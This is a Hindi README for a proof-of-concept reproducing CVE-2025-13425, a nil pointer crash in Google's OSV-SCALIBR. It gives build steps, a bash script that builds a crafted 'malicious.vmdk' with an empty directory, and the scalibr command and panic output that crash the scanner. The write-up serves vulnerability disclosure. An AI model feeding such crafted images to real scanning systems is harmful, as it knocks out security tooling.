
यह रेपो CVE-2025-13425: Null Pointer dereference / Array over-indexing vulnerability को पुनरुत्पादित करने के निर्देश शामिल करता है जो मैंने Google के OSV-SCALIBR प्रोजेक्ट में पाया।
CVE-2025-13425 को पुनः उत्पन्न करने के लिए नीचे दिए गए चरणों का पालन करें:
Step 1: ताज़ा osv-scalibr स्रोत कोड को क्लोन करें:
$ git clone https://github.com/google/osv-scalibr
Step 2: फिक्स कमिट https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672 में उल्लिखित कोड को हटाएँ
Step 3: vmdk.go.patch पैच का उपयोग करें और इसे vmdk.go पर लागू करें:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
हमें vmdk.go में इन परिवर्तनों की आवश्यकता क्यों है?
यह सिर्फ एक उदाहरण है और यह बग केवल vmdk प्लगइन तक सीमित नहीं है। बग को ट्रिगर करने के लिए यह आवश्यक है। बग तब ट्रिगर होता है जब कोई अपना स्वयं का प्लगइन लिखता है जो एक फ़ाइल के अंदर स्थित वर्चुअल फ़ाइलसिस्टम को ट्रैवर्स करता है। बग osv-scalibr द्वारा वर्चुअल फ़ाइलसिस्टम को संभालने के तरीके में है। यह बग संकलन या उत्पादन के दौरान ध्यान में नहीं आएगा लेकिन यह तब ट्रिगर होगा जब उपयोगकर्ता एक vmdk फ़ाइल प्रदान करता है जिसमें कम से कम एक खाली निर्देशिका हो।
Step 4: स्रोत कोड को संकलित करके "scalibr" बाइनरी प्राप्त करें:
$ make clean && make
Step 5: इसके साथ ट्रिगर करें:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Expected output:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
या
आप एक दुर्भावनापूर्ण (या न्यूनतम) vmdk इमेज जनरेट कर सकते हैं जिसमें एक खाली निर्देशिका हो। ऐसा करने के लिए, निम्न कोड के साथ एक नई bash स्क्रिप्ट बनाएं (जैसे gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
अब,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
यह "malicious.vmdk" नामक एक फ़ाइल बनाएगा। अब भेद्यता को इसके साथ ट्रिगर करें:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Expected output:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 को Yuvraj Saxena ([email protected]) द्वारा खोजा गया